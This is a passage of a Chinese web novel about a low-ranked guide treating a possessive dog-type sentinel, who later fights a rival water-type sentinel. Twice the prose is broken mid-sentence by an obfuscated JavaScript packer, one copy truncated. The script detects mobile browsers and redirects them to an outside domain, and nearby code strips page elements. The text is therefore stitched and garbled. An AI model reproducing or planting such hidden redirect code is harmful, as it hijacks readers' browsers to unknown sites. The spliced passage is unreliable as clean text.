要不然就是一些‘潜力值高’但精神体奇葩、被向导们宁愿倒扣积分都不愿意出手的情况……这种的、会被白塔系统人性化的强制推高‘预约权重’。 而作为接收端的向导，面对这些系统根据权重‘推荐’过来的申请，通常都会顺手勾选‘接受推荐’，这样能最大化获取任务积分和绩效奖励。 当然，你也可以任性拒绝，但代价就是——后续自由选择的疏导任务，结算积分会大打折扣！ 或者—— 如秃头说的，要么如白鸮那样组建‘个人团队’转型攻击性向导、或者是挑选匹配值高的、组成最小的三人‘战斗单元’…… ……？ 白塔定义中的‘向哨’固定搭配，并不是‘圣所’律例中规定的那样，一定是非要结成伴侣的图景融合与深度链接，而是为了适应大规模战争，搭配方式更加灵活。 只需要向导在哨兵图景中，种下一个‘锚点’，以便在长时间、长距离的任务执行过程中，可以迅速的感知相互的情况，更好的完成配合，随时治疗补充、增幅战力输出的时效和强度。 ‘锚点’分‘永久’和‘临时’两种类型。 主动权在向导。 但前提是施加‘锚点’的向导，精神等级要比被施加的哨兵……要高很多，才能完全掌控主动权。 而现在嘛、你一个大众眼中的废材C级，即便是只跳跃一级‘锚定’了一个固定的B+哨兵，你下的‘锚点’在人家的精神图景中，属于想挪动到什么位置、就能挪动到什么位置的情况； 如果是强行越了两阶的‘锚定’，唉，那你这个可怜的C级，几乎就是移动‘血包’的存在，战斗中的高阶哨兵可以借由‘锚点’随时抽取低阶向导的精神力作为补充…… 当然，你知道你不会被搞得那么被动、那么惨。 但你为什么要留一个‘锚点’给不相干的哨兵，相当于留一个远程的闹铃给对方，然后随时接受所谓的‘请求’骚扰吗？ 你想要的清净日子就毁了。 唉、算了。 不考虑那么离谱的事儿，还是想法子、应对当前吧。 你长长地、无奈地叹了口气。 只不过，一想到二十九层那套还在嗷嗷待哺、等着月供积分的大平层，再想想拒绝推荐后那可怜的折扣积分...你咬了咬牙，手指悬在光屏上，艰难地做出了选择—— 不就是精神体长得抽象了点吗？只要积分给够，去Rua滑溜溜的大蚯蚓你也、也能忍！ 正当你准备闭眼挑几个积分系数最高的先应付着。 突然，一个熟悉的名字如同黑暗中的灯塔，跳入了你的眼帘—— 宋梁。 你眼神一亮！ 是、是毛茸茸！感激涕零的、你、你有救了啊！ 18. 黏人狗狗 你点开详情查看—— 等级：A级新人（潜力准S+） 姓名：宋梁 勋名：暂无 精神体：白化异形犬（幼年体拟态） 常规需求：浅层疏导 特殊需求：异变体检（波动值建档） 系统提示：请向导在治疗过程中，注意异变波动控制，必要可采取全程束缚； 你呼出一口气，不但是是毛茸茸，还是是熟面孔啊、那可真太好了！ 嗯……不过，备注中‘幼年体拟态’……是什么意思？ 你回忆了一下大白的体型，你见过它体型最大的时候，就是在雨中驮你的那一次，头颈平伸的情况下，大白身高约一米四，含尾巴的身长能达到近两米，毛茸茸的头正好能让你轻松的展臂抱着rua个够，而其他大部分时候，大白只是比现实中的大狗狗，略微大一圈而已…… 唔，你又回想起豹子的自然伸展的体型大小，比这个还要巨大好几圈。 不过宋梁还是一个潜力准S的A+新人，想来‘大白’还是幼年体也不足为怪。 你说服了自己，把‘幼年体’‘拟态’这个奇怪的评语组合暂且放置脑后。 尽管脑海中的‘麻烦’雷达还在滴滴作响，但汪汪队的哨兵们在你心目中一向有着‘服从度高’‘听训’‘可靠’的刻板印象。 犬系精神体虽然有的十分调皮、又过分热情，但你那么偏好毛茸茸，真不好说是你吃亏，还是他们吃亏。 况且，你跟宋梁也有过接触，那么阳光灿烂的男大，还是一个没正式经历过大型战争的内勤哨兵，即便精神图景有什么污染，也应该是轻度，对C级的你来说，工作难度也不大。 唯一让你犹豫了一下的是，他的问诊特殊需求是‘异变波动体检’建档，一旦你成为他的建档向导，非必要不转诊，就是你长期、固定的诊疗对象了。 但这个活儿轻松啊，只需要做一些简单的精神体互动，你写完报告、存完档、并定期记录就完事儿。 再说了，即便遇到异变程度加深的情况，超出你这个C级‘应该’处理的强度，那么还可以走转诊流程，送给秃头领导去头疼去。 嗯嗯，越想越有道理，你大笔一挥，就选这个熟人了。 更何况，光屏中那下拉、下拉……再下拉列表中的‘奇形怪状’的精神体，真是、没有对比，就没有伤害。 有了毛茸茸，还选什么大蚯蚓、毒箭蛙？ 于是，你不再犹豫！ 立刻麻溜儿的勾选了‘宋梁’，顺带把申请项中已点亮的‘排位优先’、‘异变建档’、‘未来一周’、‘固定时段预约’，能选的都给全勾选上！ 做完这些，你揉了揉酸痛的眼、去隔离帘后的小盥洗间洗了一把冷水脸，冷静了一会儿，再重新坐回了光屏前。 在房贷的月供积分的压力下，你继续扒拉着长达十八页的列表……麻木地、手动筛选着那些积分系数尚可、精神体勉强在你接受范围内的申请。 毕竟，系统的自动筛选分类，可没有‘向导个人偏好’这个选项。 终于！你从第五页开始，除了你公共系统的几个常客之外，你看到了几个稍微有点眼熟的名字。 大概是之前群体疏导时rua过他们精神体的哨兵。 最后，挑拣了几个看起来情况描述最紧急的，排进了接下来一个月的日程表。 剩下的？算了吧~积分是赚不完的，小命要紧！ 你邵音就算要‘拓展业务’，也得按自己的节奏来。 拒绝无效内卷！ * 于是，就这样，宋梁就成了你预约名单上的常客。 如你预料的那样，他的情况处理起来还算轻松。 无论是治疗室内，还是食堂日常的约饭，你们之间的相处，越来越进展良好。 或许是还处于新人期的缘故，宋梁的身上还没有染上这个废土世界的‘死气’，阳光开朗得偶尔让你想起很久以前在和平世界的美好时光。 再加上可爱大白的卖萌加持，不知不觉间，对于宋梁偶尔的越线，你多了几分容忍。 这个周六，上午九点十分。 你十分难得的出现在了治疗室，准备加个班。 如果不是上周那一点小意外，导致你的业务进度被无情拉后，你现在肯定还窝在二十九层云朵般的被窝中睡懒觉。 没办法，谁叫你现在是有房要养的人。 十点整。 笃笃笃——门响了。 “请进——” “邵音姐姐，周末好！打扰你休息了！” 随着轻微的推门声，宋梁清亮的嗓音出现在狭小的治疗室中，阳光开朗又活力满满。 你从忙碌之中，抬起头来。 不由得眼前一亮。 周末的犬系哨兵并没有穿日常的作训服，而是看似随意的套了一件宽大的纯白棉质T恤，叠戴的银色锁骨链轻轻的晃在胸前，脸上还是那副招牌式的灿烂笑容，笑得露出小犬牙，十分可爱讨喜，整个人干净清爽得像个在校男大。 “不打扰哦，上周二是我大意了，太急于下班，在给水系的几个做群体疏导时，出了一点小意外，不得不延后时长……” “所以耽误了第二天给你做固定疏导，只能让你等到今天才过来，打扰你的周末计划了吗？” 你带着一点歉意的笑，温和的解释，把手里刚泡好的热可可递给了宋梁，引导他在治疗椅上坐下。 犬系哨兵乖乖的听从你的指引，一滴不剩的喝完了热可可，放回了桌面，然后在治疗椅上端端正正的坐好，乖巧得不得了。 那双冰蓝色的眼睛清澈明亮，此刻正专注地落在你身上，带着点急切的剖白：“才没呢、是，应该是我说抱歉，让姐姐周末还要工作，如果不是上次作训还没好完，头还有点痛，不然也不会周末还麻烦姐姐……” “再说了，可恶的难道不是那几个腥臭的水系小崽子吗？” “故意夸大伤势，为了占用姐姐治疗时间，用了那么下作的手段……” “好啦，好啦，事情都过去了，我们就不追究了，”你赶紧制止了这个小绿茶的表演，稍微用了点劲儿，勒紧了手中的束缚带，语气略微严肃了一点：“时间宝贵，我们开始吧。” 等宋梁准备好，你转身从医疗箱中拿出隔绝手套，一边戴一边补充道，“今天情况特殊，进度有点赶。所以今天的梳理会比平时稍微深入一点点，希望能触及更稳定些的层面。” 你抬眼看他，语气尽量温和，“放松点，试着对我开放你的精神世界，别太紧张抗拒，效果会更好。” 宋梁的笑容似乎更灿烂了些，用力点头：“嗯！我信姐姐！我会放松的！”他深吸一口气，闭上了眼睛，摆出配合的姿态。 指尖轻触眉心。精神力如涓涓细流，谨慎探入。 甫一进入，一股带着硫磺颗粒感的寒风便扑面而来，并非物理上的寒冷，而是精神感知中的一种沉郁质感。 你以一个模糊光影的形态，出现在了他的世界。 在你的感知中，脚下是坚硬、仿佛混合着煤渣和冻土的小镇街道。 耳畔充斥着叮叮当当的打铁声、粗粝的吆喝、蒸汽机械有节奏的嘶鸣，还有沉重的矿石撞击声，构成一片冰冷、粗糙、永不停歇的背景噪音。 眼前则是低矮杂乱的石木房屋挤在灰蒙蒙的天色下；不远处，一片色调沉郁、枝干扭曲、树叶呈现腐败铁锈色的寒带阔叶林，如同不祥的伤疤紧贴着小镇；更远处，则是沉默矗立、覆盖着皑皑白雪的陡峭山峰，是这片压抑图景沉默而冰冷的背景板。 你驱使着精神虚影漂浮向前，试图沿着街道向那腐林边缘靠近，想感受一下那更深处潜藏的能量流动。就在你刚迈出几步—— “汪呜！” 欢快的狗叫声响起，带着不容忽视的雀跃。 大白从虚空中蹦了出来，亲昵地用毛茸茸的大脑袋蹭着你的腿，喉咙里发出撒娇的呜噜声。 它热情地绕着你打转，尾巴摇得飞快，并用身体轻轻推着你，朝着小镇边缘一栋冒着虚幻暖烟的小木屋。它甚至叼起你精神虚影的“衣角”，急切地想拉你去它的安全屋玩耍，带着一种隐隐的试图阻止你继续深入的意味。 你明白了—— 这是主人潜意识最直接的映射。宋梁的界限划得很清楚——他愿意向你展示这表层的小镇和这只可爱的大狗，但精神图景最核心部分，他还没准备好…… 或者说，不想向你敞开。 “好吧，听你的。”你应了一声，顺应了大白的引导，放弃了深入探查的打算。转而把目标转向了，小镇内外那些因表层情绪而产生的细微能量淤塞和噪音污染。 你微微闭眼，精神体虚影幻化成你风向的‘白鸟’。 白鸟飞过小镇阴霾的天空，虚影带起峡谷微润的风、拂过冰冷的矿石堆、嘈杂的矿洞入口……所过之处，那些过于尖锐的噪音被微风所带来的似雨似雾的轻风所柔化。 好吧，你觉得你只能做到这种程度了。 大白一直围着你‘嗷呜呜~~’的撒着娇，在退出宋梁精神图景之前，你习惯性的伸出精神触角安抚般的揉了揉大白那厚实的颈毛，然而，精神触角反馈来的触感却带着一丝不易察觉的……粘滞？ 仿佛那蓬松的银白色毛发深处，并非纯粹的量子能量，而是沾染了某种冰冷、沉重、带着细微金属粉尘颗粒感的物质。 这感觉一闪而逝。 却隐隐的让你有些介意。 再次睁开眼，你回到了现实世界中。 “感觉如何？”你例行询问。 “很好！姐姐！”宋梁闭着眼，声音轻松，“很舒服！” 浅层的淤堵清理结束，束缚带自动解开。宋梁坐起身，脸上带着舒畅的红晕，眼神亮晶晶地看着你：“辛苦姐姐了！下周还得麻烦你……” 话音未落，具现化的大白已欢快地蹭到你腿边求摸摸。你笑着蹲下抱住它的大脑袋猛rua：“大白！想玩儿球吗？” 指尖陷入温暖蓬松的皮毛，烦闷暂时被驱散。 就在你沉浸在rua毛的快乐中时，兴奋的大白却一个甩尾—— “哐当！哗啦——！” 墙角的立式饮水机遭了殃，水桶倾倒，清水泼洒，瞬间淋湿了旁边的宋梁大半边身子！ “啊！大白！”宋梁惊呼跳开。纯白T恤从胸口到腰腹湿透，紧贴皮肤，清晰地勾勒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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你笑着推开它，彻底抛开没必要的八卦之心，坐回椅子继续享受rua毛的快乐。 这些哨兵之间的恩怨，还涉及名门派系、家族事务，你是一点都不想沾染。 吹风机嗡嗡的声音停了，布帘掀开。 宋梁走了出来，已换上干净挺括的作训服，湿发被抓得清爽利落，整个人精神焕发，只不过袖子挽到了手肘，露出线条流畅的小臂。领口的第一颗纽扣敞开着，清晰地展露出漂亮的锁骨线条。 他走到你面前，没有坐下，反而在你椅子前单膝蹲了下来，视线与你齐平。冰蓝色的眼眸清澈又带着点不好意思的羞赧，他摊开掌心，里面躺着一个看起来有些年头的暗银色金属护身符。 “姐姐……”犬系哨兵清澈的嗓音此刻压低了一些，带着某种难以言说的请求意味，“刚才换衣服时太着急，不小心把搭扣弄坏了。能不能……帮我戴上？” 他顿了顿，补充道，语气带着一种难得的珍重和一丝不易察觉的脆弱，“这是我母亲留下的，从小保平安的，可灵了。今天、下午的面试，对我十分重要……” 虽然有点诧异，但这样一个小请求，完全没有不答应的道理。 你轻轻点了点头。 宋梁咧嘴一笑，眼里闪着快乐的光芒。 他低头，将护身符轻轻放在你手心，然后顺从地、毫无防备地侧过身，将后颈完全暴露在你眼前。 ——那是哨兵最敏感、最脆弱的腺体所在之处。 光滑的皮肤下，微微凹陷的区域随着呼吸轻轻起伏，在光线下透出薄而脆弱的质感。 仿佛最听话的家犬、白塔护卫队排名第一的最强新人，潜力准S+的犬系哨兵，此刻温顺地低垂着头，毫无防备地将这致命的弱点全然呈现在你眼前。 柔软的黑发滑落颈侧，露出一段线条优美、毫无遮挡的脖颈。 你捻起那枚金属护身符的搭扣，眼神微微凝住—— 那断裂的痕迹，不太像自然的磨损，更像某种巧劲儿一捏、造成的损坏。 在这样远超正常社交距离的情况下， 青年哨兵的勃勃生气透过皮肉的血气散发、似兰似麝的前调拂过你迟疑的手指，某种似乎压抑在地底的硫磺的呛鼻气息也抑制不住的泄露了一丝…… 空气凝滞，你甚至能感受到他温热的吐息拂过你捏着护身符的手指，越来越炽热，仿佛想用呼吸舔吻吸咬着你的指尖。 甚至由于过于屏息的等待，年轻哨兵颈侧由几条淡色青筋盘踞的喉结，终于控制不住一般、重重地滑动了一下。 唉，算了。 你轻叹了一声，决定不予计较。 就当—— 看在大白的份儿上。 当微凉的金属链条，终于轻轻的擦过他薄皮肤下微微搏动的血管时，那具温良俯首的身体，几不可察地绷紧了一瞬。 你轻声：“戴好了。” 结束了，犬系哨兵却身形微颤着、抬头露出一双湿漉漉的眼，低喘了一声：“谢、谢谢姐姐…” 你淡淡的垂眸，看着他。 微微仰首，湿润的口腔微张、不自觉的露出尖尖的小虎牙和一小截嫣红的舌尖，长睫颤动着、轻掩着逐渐迷蒙起来的眼神…… 那完全是一副、渴望着，被彻底抚弄、揉捏的表情。 19. 不可避的碰瓷 * 你很满意犬系哨兵的‘服从性’与‘自控能力’。 只是一个疑惑的轻哼， 年轻的哨兵便立刻意识到了自己的逾越和‘不妥当’的生理反应。 面对宋梁结结巴巴的道歉，一连串的什么‘对不起、姐姐这里太香了’‘小狗没忍住’、什么‘请不要讨厌我’，配上那一副窘迫难堪得快哭了的表情，仿佛是你欺负了他什么似的…… 你无语的抿了抿唇。 而一旁的大白耷拉着耳朵，尾巴紧紧夹在后腿间，喉咙里呜呜呜的低泣，用一双湿漉漉的眼睛无辜的望着你…… 好、好吧。 你大度的表示了理解和原谅。 毕竟，自从回到‘正常’预约流程上之后，你的接诊名单上多了不少新的哨兵，有时候工作一忙、手法也潦草了很多…… 嗯、那些新人，反应可宋梁夸张的多了去了。 服从性比起犬系的哨兵更是差了不少， 连带着你治疗室的束缚工具、惩戒按钮都比以往的使用频率高了很多。 与之相比，眼前这个年轻哨兵那么懂事乖巧，大白又那么可爱解压。 你自然愿意多容忍一点。 嗯，就一点点。 小插曲就这么过去了。 * 周中的午餐时分，人声嘈杂。 如往常一样，你和宋梁在靠窗的位置，面对面的坐下用餐，缩小了体型的大白乖巧的趴在桌旁。 吃了个八分饱之后，你就停了。看着宋梁不时看向你餐盘里只有向导窗口才特殊供应的香橙小蛋糕，一脸渴望又不好意思的表情看得你心里暗暗发笑。 你拿着纸杯蛋糕的托纸部分，笑着递了过去：“喏、我吃不下了。浪费可耻哦，请帮忙解决吧。” 宋梁开心得眼都亮了，微微倾身，越过桌面，直接‘嗷呜’一口，用口叼了过去。 你微微一愣，手还停在半空。 食指的指尖微微湿润，还残留着被小虎牙划过的轻微触感。 “谢谢姐姐，”宋梁眯着眼快乐的吃小蛋糕，仿佛完全没注意到刚才那个举动的不妥当，嘴里有食物，说得含含糊糊：“我可不是嘴馋，是姐姐自己说的、浪费可耻……” 你：“……” 算了。 你用纸巾擦了擦手，又低头浅啜了一口柠檬水，接着聊刚才没有聊完的话题：“说起这一周工作中最有意思的事嘛，我倒想起来……昨天下午给水系他们做群体疏导时，手法稍微急躁了一些，有几只有点失控，还好他们队长直接放出了精神体把那几只给直接放到了，省了我不少事儿……唔。那场面、还挺漂亮的。” “哦，能让姐姐印象深刻……”对面宋梁的声音卡顿了一瞬，“真的、很漂亮吗？” 你回忆了一下，然后给了肯定的答复：“非常漂亮！也很有实力。精神体是月光水母的形态原本就很梦幻了……之前在精神图景为他疏导时，光顾着欣赏那种瑰丽的光影了，半透明的伞盖，边缘泛着淡紫蓝光……没想到具现到实战中，居然也能这么强。” 对面，宋梁脸上那灿烂的笑容，凝滞了一瞬。 握着饮料罐的手指微微收紧—— 咯吱—— 金属的铝壳仿佛纸糊一般，被拦腰捏成了薄薄一片。喷溅而出的少许饮料洒落在桌面上…… 你还没反应过来，就被扑上来喷溅到桌面上的汽水的大白引去了注意力，你单手捏住它嘴筒子，正‘恶狠狠的’揉弄着它耳朵，斥责它不能乱舔…… 接下来，咚——！ 年轻哨兵一个帅气的投掷，喝完的铝罐就被扔到了窗外的垃圾桶里，过度的用力使得空气中都起了轻微的啸音…… 这个举动，引得你把视线诧异的投向了他。 照面却是宋梁那依旧灿烂得无懈可击的笑容，他当这你的面，伸手把还在捣蛋的大白薅到臂弯中给管辖住。 “是吗？月光水母啊……” “听起来是挺特别的。不过，”犬系哨兵的嗓音清亮，尾音却带上了一丝不易察觉的、甜腻到发冷的调子，“姐姐不觉得水系的精神体都太‘凉’了吗？还有种说不出来的水腥臭味儿……” “还是像大白这样，毛茸茸软乎乎的抱着更舒服，对吧，大白？” 他低头，笑着揉了揉臂弯中哈士奇的头。 “呜！汪——”大白却非常不配合地从他臂弯中挣脱，又一下子窜到你的脚边，抬头用湿漉漉的眼神望着你。 你被大白逗乐，伸手也揉了揉它的脑袋：“那当然，大白最棒了！” 宋梁脸上的笑容这才显得真切了几分，仿佛刚才那一瞬间的失态只是错觉。 他顺势讲起了特勤小队预备役周末加训的趣事，轻松地将话题带开。不过他大多时候都是在讲，特勤队的那些家伙虽然也挺废的、但与护卫队的那些废物比起来，还是有优点的，比如耐摔、扛揍多了…… 年轻的哨兵嘛，总是这样的，你嗯嗯的应和着他，并不主观评价。 但既然说起这个事儿嘛—— 你差点就开口问他了：转队这样关乎前程和性命的大事，有没有跟他‘小舅舅’陆烬讲过？ 但还好忍住了。 私人事务少打听，社交界限不能打破。刚才那样的‘喂食’只是意外。无论是这个看似年轻稚嫩的宋梁，还是成名多年的陆烬，在这个世界的根基都比你强多了。 不需要你多余为他们操心的。 接下来，你们的用餐气氛轻松又愉快。 宋梁很会逗趣，并不一味夸耀自己，很能体会你的情绪变化，无论是讲笑话还是聊些这个末世白塔之外的奇闻，都能很快的找到你感兴趣的话题。 不知不觉，午餐临近尾声。 宋梁：“姐姐，今天有特供的天然莓果冰激凌，限量！我去抢两份！” 你两眼一亮，催促：“快去快去，加多多的莓果！” “好嘞，姐姐你等我。” 宋梁笑得眼不见牙，你目送他远去的背影，慢悠悠喝着餐后茶，目光无所事事的地扫过食堂。 就在这时，一个端着餐盘的身影脚步略显匆忙地从你桌旁经过。 不知是地面太滑还是心不在焉，脚下猛地一个趔趄，餐盘脱手，整个人不受控制地向你撞来！ “小心！”你反应极快，身体后仰，抬手格挡。 “砰！”餐盘擦着你手臂边缘摔在地上，汤汁溅开。撞你的人勉强站稳，是个面容清秀、看起来有些腼腆的年轻哨兵，穿着普通的作训服，肩章显示是C级。 “对、对不起！向导大人！实在对不起！”年轻哨兵看清差点撞到的是你，脸“唰”地白了，手足无措地连连道歉，脸上的表情是既惶恐又……激动？ “您没受伤吧？邵音向导！”他认出了你，语气慌乱，弯腰就想帮你擦溅到袖口的少许油渍。 你注意到他作训服领口内侧，别着个小小的红白锦鲤徽章，以水纹做底。 你认得他，或者说，认得他精神体的特征——一只游弋起来姿态优美、红白鳞片熠熠生辉的锦鲤。 上周二群体疏导时，在一堆水系精神体中格外显眼，让你莫名想起了前世某种“转运”的吉祥物。 “没事的。”你避开他的手，语气温和，“我没受伤，下次小心点就好。” “出什么事了？”一个冰冷的声音插了进来，带着阳光表象下淬了毒的寒意。 你抬头。 宋梁不知何时已站在桌旁，手里稳稳端着两份莓果冰激凌。 他脸上笑容灿烂依旧，嘴角小犬牙白得晃眼。 但那双冰蓝色的眼睛，此刻却像结了冰的湖面，没有任何温度地、沉沉地落在蹲在地上的锦鲤哨兵身上，一个字一个字的往外吐着寒意：“身为哨兵，却废物到如此笨手笨脚……需要我教你？” 锦鲤哨兵动作瞬间僵住，他脸上血色褪尽，嘴唇哆嗦：“宋、宋前辈，对、对不……” 宋梁没再看他，仿佛他只是一团碍眼的垃圾。 “滚——” 他将一份冰激凌轻轻放在你面前，声音恢复清朗：“姐姐，你的冰激凌。没吓到吧？” “没事。” 你接过冰激凌，挖了一勺送进嘴里。冰凉甜美的滋味化开。 “唔，好吃。” 你看了一眼还僵在一旁的锦鲤哨兵，提醒他：“都是小事儿，但毕竟是公共区域，你赶紧收拾好地上的垃圾，就走吧。” “下次小心点。” “是、是！谢谢邵音向导！谢谢宋梁前辈！”锦鲤哨兵如蒙大赦，狼狈收拾好这一地的狼藉，然后几乎是被怪物追着一般逃离了这片区域。 宋梁拧着眉，不满的咕哝：“姐姐就是太温柔了……什么阿猫阿狗都敢来碰瓷…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132202|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 你没有接话，也没有理会，仿佛刚才那一幕从未发生。 只专注于手里的美味。 你舀起一大勺淋满了蓝莓果酱的冰激凌，送入口中，满足的眯上了眼。此刻窗外正午的阳光正好，冰淇淋的甜度也刚刚好。 与你面对面的宋梁也停止了抱怨，托腮专注的看着你， 笑着问：“姐姐，好吃吗？” “嗯，好吃。”你点点头，竖起大拇指：“果酱的香与冰淇淋的奶甜融合在一起，很完美的甜。” 重新恢复了阳光开朗的犬系哨兵，也慢悠悠的舔了舔手中的冰淇淋，掀眸看了你一眼，又低头含含糊糊的笑了几声。 “唔。” “我也觉得，好甜、好甜。” * 饭后，宋梁说要去训练场加练一会儿，你们就在通往不同区域的岔路口分开了。 你抱着用了积分才抢购到的限购零食，脚步轻快的回到了二十九层的家里。 进了门，把‘战利品’交给智能管家放好，再脱下外衣挂在门厅，换上拖鞋和舒服的家居服…… 此时，智能管家早已设定好合适的温度和湿度、包括你喜欢的柔和香薰。 躺在铺满了软乎乎云朵抱枕的沙发上，你深吸了一口气， 再次喟叹—— 这才是人过的日子啊。 为了这个，你乐意‘努力工作’。 但要按自己的节奏来，譬如，同样的积分段、在能选择的情况下，你一般会选择等级略低的群体治疗，胜过高阶位的单人治疗。 扫了一眼今天下午的预约表，只有一个排在下午四点半的群体疏导，这是一个有额外积分奖励的大单，你需要养好精神，才能更好的应对。 跟智能管家确认好闹钟叫醒的时间，你就立刻扑到了柔软的床铺之上，开始享受自己的安稳午觉。 然而，并没有睡多久。 你突然惊醒。 一个噩梦。 你沉思片刻，先不提元婴修士几乎不再做梦的事实，即便是按这个向哨世界观的观点，特殊能力者的梦境如果不是被入侵了精神图景，就是另有特别的含义。 上次你做梦，还是因为中了亚利瑟斯那个鸟人的招儿，被部分的控制入侵了精神记忆，不过作为‘触媒’的那三根‘羽毛标记’已经被你上交了白塔。 那现在这个预知一般的梦是为什么呢？ 是有什么东西吗？ 你微微闭眼，让代表信息探寻的风向精神力慢慢盈满了整个二十九层—— 找到了！ 一串透明的水泡咕噜咕噜的‘闪动’在门厅处，确切的说，是闪动在挂着的那堆外衣的裙边。 你起身，走过去，捻了捻上午那条长裙的裙边位置。 哇噢~ 是一尾小鱼儿留下的‘礼物’呢。 与圣所那个鸟人留下的‘羽毛’一样，属于一种精神标记，不过这一串小水泡的能量极为清澈，也……极为微弱，你没察觉到有什么恶意。 反而能感受到一点点、类似于符咒修士附魔‘赐福’法器时，窃取天地法则所产生的能量波动。 可这个世界没有符修，所以—— 这就是那个哨兵的……天赋能力？ 你突然来了点兴趣。 虽然只有C级、可‘天赋运气’这种东西，并不是白塔这种评级僵化的体制能完全衡量出来的。 就如同你虽然也是C级，白塔评级下的废物向导。 可实际工作中，你经常被秃头拎去干的那些紧急项目，基本都是A+才能控场的群体疏导…… 身为C级，却能在A+的前辈面前，耍点小手段而不被发现。 甚至，因为没有恶意，在白塔养猪般的日子中，懒散得几乎丢掉了所有警戒心的你，也没能第一时间发现~ 有点意思。 你捻了捻裙边，掐灭了那一串在你指尖欢欣跳跃的‘小水泡’，然后在水泡破灭的瞬间，你也得到了一个讯息。 是闲事。 但跟你有关，所以—— 得管。 微微叹气，你认命的闭了闭眼，恒温恒湿的室内空气刮起了微风，风向白鸟的虚影浮现在半空。 你指示—— 去吧，看看‘他们’要做什么？ 也看一看，那条小鱼的背后，是谁在指使？ 20. 不可让的资格 * 这次，风向白鸟的虚影化作一只灰扑扑的‘异化麻雀’。 在这个废土末世，成群结队，随处可见， ‘异化麻雀’的虚影扑棱着翅膀，融入窗外灰蒙蒙的天色，循着那点微弱的、属于锦鲤哨兵的精神印记，悄无声息地追踪而去。 麻雀的视野低矮而局限。你的视线跟随着它，掠过冰冷的金属管道，穿过训练场外围稀疏的变异灌木丛，最终来到一处堆放废弃训练器械的僻静角落。 目标就在那里。 锦鲤哨兵蜷缩在生锈的金属支架后面，脸上带着惊恐，嘴角还残留着一点血迹，作训服肩部被撕裂了一道口子。他捂着胳膊，正紧张地探头看向前方空地。 ‘麻雀的视线’顺着他的目光投去。 空地中央，宋梁被几个穿着水系作训服的哨兵围在中间。领头那个，你认得——正是昨天下午群体疏导时，精神体是月光水母的哨兵队长，今天下午你负责的正是他队伍的巩固治疗。 这位月光哨兵有着一头罕见的、近乎半透明的银白色长发，柔顺地垂落肩颈，在训练场顶灯下泛着冷冽微光。身材高挑瘦削，面容是则是一种带着阴柔感的俊美，皮肤苍白透光，笑起来总是有一种迷惑人心的梦幻感。 只不过他并不是总笑，在你面前总有一种说不出来的、既想靠近、又有种莫名畏惧后退的矛盾感…… 说起来，不但是他。包括锦鲤，那几个水系都有点这样让人感觉十分违和的对你的‘畏惧感’。 只不过，他们团队额外打赏的积分总是十分丰厚。 并且根据当天的效果，还会有额外的赠予。 你也算是实打实的出了力，因而并不拒绝—— 这样一来二去，他们队也渐渐的成了你的固定客户，你近期还在考虑要不要，接受他们私人委托的申请…… 这样的话，倒可以解决排期冲突的问题，免得总是占用第二天宋梁的个人预约。 你的本意是好的，哪知道却出了这样的争斗。 “把我叫到这里来，说吧，你们这群熏臭的杂鱼，要怎样才能离我姐姐远一点！” 宋梁语音冰凉，背对着视线的神情模糊不清。 “呵~？” “你的……姐姐？一厢情愿的叫得这么亲近——” “杂种、也配？” 月光哨兵冷嗤一声，慢慢踱步走近。在麻雀的视线中，那双望着你时，总是雾蒙蒙的水色眼眸，此刻正浸润着毫不掩饰的轻蔑与厌恶—— 还有、说不出的嫉妒之色。 “怎么，戴上陆家的狗项圈，就真把自己当个人物了？忘了自己是从哪个矿坑里爬出来的？”他上下刮着宋梁，声音刻意压低，却字字清晰，带着居高临下的嘲弄之意：“一个靠着裙带关系才挤进白塔护卫队的垃圾…… 竟然靠一些不入流的讨巧伎俩，一直霸着邵向导不放？” “宋梁，你这种低贱畸形的货色……” “有什么资格？” “与我们争夺邵音向导的‘预约权’？” 你皱眉。 这与你疏导时见到的、那个总是温柔垂首配合你指令的哨兵判若两人。 宋梁垂着头，你看不清他表情。只能看到他垂在身侧的手猛地攥紧，空气中那股原本清冽的橘柑香骤然变得尖锐、粘稠，充满了攻击和暴怒的意味…… 与此同时，巨大的犬影从他身后的虚空一跃而出，蓬松的银白色毛发如同液态金属般翻滚膨胀，身形虽然涨大了数倍，可犬形的完整轮廓，却在虚空中却迟迟无法凝聚成型，反而由于过于暴怒的情绪，撕扯一般的弥漫出浓厚、黏腻的黑雾！ 你从未‘见过’大白如此不稳定的形态，不由得有点担心。 然而—— “呵，我没有……”仿佛被戳中痛点一般，宋梁喉咙里溢出几声压抑的低笑，“资格？！” “那、你、呢？！腥臭的弱鸡！” “有什么资格，问我要邵音姐姐的预约权？” 犬系哨兵猛然抬头！脸上那少年阳光的笑容被一种疯狂的暴戾彻底彻底撕裂，就在这瞬间，他动了！ 原本停留的位置只留下一道残影，拳头裹挟着撕裂空气的尖啸，直扑月光哨兵那张阴柔俊美的脸！ 在‘麻雀视角’中—— 在宋梁对面的月光哨兵并没有后退，而是冷笑一声，直接伸手接住了对方一击！ 两人身影在方寸之地急速交错、碰撞，骨肉交击的闷响令人心惊。 似乎都觉得此地施展不开，几次攻防之后。 缠斗的身影暂且分离。 看了看浑身泛着黑雾的‘大白’，月光哨兵神经质地扯出冷笑，嗤声：“我说，你敢让邵向导看到你现在的样子？你敢让她知道，你惯常围着她卖萌讨巧的皮囊底下…… 到底是个什么恶心玩意儿吗？” “识相点，把预约系统中，邵向导每周三的固定时间段……给释放出来。” “我会让你一会儿开肠破肚的、不那么难看。” 轰——！ 背对着‘麻雀视线’的宋梁，似乎被彻底激怒，笼罩着大白的浓稠黑雾仿佛沸腾般爆发…… 这、似成相识的黑雾让你突然记了起来！ 